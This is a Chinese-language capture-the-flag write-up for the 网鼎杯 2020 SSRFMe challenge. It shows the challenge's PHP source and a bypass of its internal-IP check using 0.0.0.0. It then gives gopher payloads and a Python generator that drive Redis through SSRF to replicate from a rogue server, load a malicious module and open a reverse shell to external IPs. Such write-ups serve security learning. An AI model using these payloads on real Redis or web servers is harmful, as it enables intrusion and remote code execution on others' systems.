[网鼎杯 2020 玄武组]SSRFMe
源码
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
hint.php
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
知识点
- 【Blackhat】SSRF的新纪元:在编程语言中利用URL解析器
- 浅谈DNS重绑定漏洞
- redis安全学习小记
解题步骤
首先审一波代码.check_inner_ip函数是检测url是否为内网地址。在safe_request_url中,使用parse_url解析url,并使用gethostname、ip2long函数获取ip地址以及将ip地址转化为整数,不允许内网ip发送请求。之后即可进行curl处理。提示我们要从本地访问hint.php
于是可以用http://0.0.0.0/hint.php
来绕过
0.0.0.0的IP地址表示整个网络,代表所有主机的ipv4地址,传入绕过
在hint.php中看到有死亡代码。但是又给了redis密码。
看wp:https://blog.csdn.net/qq_43756333/article/details/107536521
可以知道,这是考redis主从复制rce。
所以按照wp所提到的方法,在vps上搭建了rogue-server。
但是不懂为啥,按照wp的方法不能得到flag
记录一下。
具体操作为(参照wp):
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/xmsec/redis-ssrf
在上面的链接中下载git文件。然后将exp.so、ssrf-redis.py、rogue-server.py放到同一目录下。
修改ssrf-redis.py内容
然后运行ssrf-redis.py得到payload
服务器运行rogue-server.py
然后将payload输入到url中,即可得到flag
后续:
import urllib.parse
import requests
# session = input("session: ")
payload = '''gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
system.rev 47.96.173.116 2333
quit '''
payload = payload.replace("\n", "%0D%0A")
# payload = payload.replace("\r\n", "%C4%8D%C4%8A")
payload = payload.replace(" ", "%20")
# r = requests.get('http://a9f88495-fe06-4e6a-b01f-731a3f31eb2f.node4.buuoj.cn:81/proxy?url=http://127.0.0.1:3000/' + urllib.parse.quote(payload))
print(urllib.parse.quote(payload))
# print(r.text)
用上面脚本生成gopher的payload,第一步,先生成/tmp文件,payload:
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit
第二步,服务器跑rogue-server,需要python2环境,pyload:
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 47.96.173.116 6666
quit
第三步,加载恶意so进行反弹shell,payload:
gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
system.rev 174.1.160.222 6663
quit